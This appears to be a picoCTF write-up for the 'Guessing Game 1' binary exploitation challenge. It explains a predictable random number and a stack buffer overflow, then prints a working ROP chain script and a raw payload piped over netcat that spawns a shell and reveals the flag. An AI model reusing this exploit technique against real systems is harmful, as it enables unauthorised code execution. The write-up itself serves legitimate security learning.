Hacking Series Part 3

Challenge: Guessing Game 1

Category: binary exploitation

We are given three files consisting of “vuln”, “vuln.c”, and “Makefile”. The binary vuln can be run and simulates a simple guessing game. From the source code given (vuln.c), we can see that if the correct number is guessed, the user can enter a name up to 360 characters long. We can also see that the buffer that stores this name is only 100 characters long, which means this program is vulnerable to a buffer overflow.

The first thing to do is figure out a way to guess the “random” number successfully every time the program is run. In order to do this, I opened vuln in IDA to see if there are any patterns that appear to be manipulating the number that is used. In the function , a function named is called which is where the random number is produced.

The result from is stored in , then is incremented by 1. Instead of following each instruction to figure out what number is produced in the end, I opened vuln in gdb and set a breakpoint after the function is called. Then, I looked inside to determine the number and also ran the program multiple times to see if this number changed. It turns out that the number generated from is always 83. This number does not change with multiple instances of the program, which means it is predictable.

As stated before, this number is incremented by 1 then compared to the inputted guess of the user to see if they are correct. So in the end, the number that needs to be guessed is always 84 on the first try.

Next, since we guessed the number correctly, the program asks for our name. Since we can preform a buffer overflow here, we will need to determine the correct amount of padding needed to overwrite . After several attempts, I determined that the amount of padding needed is 120 characters. After this number, we reach and can now work on exploiting the buffer.

Since we have over 200 characters of space left, we can easily store shell code in the rest of the buffer, then execute from the stack. However, by looking at the contents of Makefile, I saw that this is not possible.

The stack is non-executable. This means that this will need to a ROP based attack instead. In order to spawn a shell, I decided to call with as the program to run. In order to call with a syscall, the registers need to be in the following states:

  • 59 — the number for
  • 0 — address to environment variables
  • 0 — address to arguments
  • address of — path to program to execute

After this, we can call to get a shell on the system and find the flag. In order to get the registers in this state, we need to identify the following gadgets:

There are mainly two stages to this ROP: the write stage and the execute stage. In the write stage, is stored in an empty data address in the binary so that it is easy to access later in the execute stage. This makes also makes the size of the shell code smaller. In the execute stage, the registers are set to the values they need to contain and is executed.

Using ROPgadget, we can easily identify where these gadgets reside in the binary.

Now that we know the address of each gadget, we can start writing instructions for the write stage. I did this in Python using some instructions provided by ROPgadget.

Now, is stored in the address after these instructions are executed (being a 64-bit binary). Next, we move on to the execute stage.

This executes and gives us a shell when completed. Putting these two stages together, we get the following script.

from struct import pack#write
p = pack(‘<Q’, 0x4163f4) # pop rax ; ret
p += b’/bin/sh\x00'
p += pack(‘<Q’, 0x410ca3) # pop rsi ; ret
p += pack(‘<Q’, 0x6ba160) # empty data address that I want /bin/sh to be in
p += pack(‘<Q’, 0x47ff91) # mov qword ptr [rsi], rax ; ret
#execute
p += pack(‘<Q’, 0x400696) # pop rdi ; ret
p += pack(‘<Q’, 0x6ba160) # empty data address that /bin/sh is in
p += pack(‘<Q’, 0x410ca3) # pop rsi ; ret
p += pack(‘<Q’, 0x0) # arguments
p += pack(‘<Q’, 0x44a6b5) # pop rdx ; ret
p += pack(‘<Q’, 0x0) # environment variables
p += pack(‘<Q’, 0x4163f4) # pop rax ; ret ; pops 59 into rax
p += pack(‘<Q’, 0x3b) # 59
p += pack(‘<Q’, 0x40137c) # syscall
print(p)

This also prints the resulting shell code bytes so that they can be used in the payload to the server. The payload needs to include the number to guess, the padding, and the shell code. In order to return input back to the user to actually interact with the shell once it is spawned, we also need to include the command. The entire payload then needs to be piped to the server which we can connect to using netcat.

In order to make sure the bytes are interpreted properly, we can use Python to print them. Python can also be used to print 84 (the number needed to be guessed) before the shell code is inserted. As a result, the payload looks like this.

( python -c ‘print(84)’ ; python -c ‘print(“a”*120+”\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00`\xa1k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00`\xa1k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")’ ; cat ) | nc jupiter.challenges.picoctf.org 39940

After listing the files found on the server, I used to see the contents of . I found the following flag.

picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_8cd37a0911d46b6b}

some chaos for you